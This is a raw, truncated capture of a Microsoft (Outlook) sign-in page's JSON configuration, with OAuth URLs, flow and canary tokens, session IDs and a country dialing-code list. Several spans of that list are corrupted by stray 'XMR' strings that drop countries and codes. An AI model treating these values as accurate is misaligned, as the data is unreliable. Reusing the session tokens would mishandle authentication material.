$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction"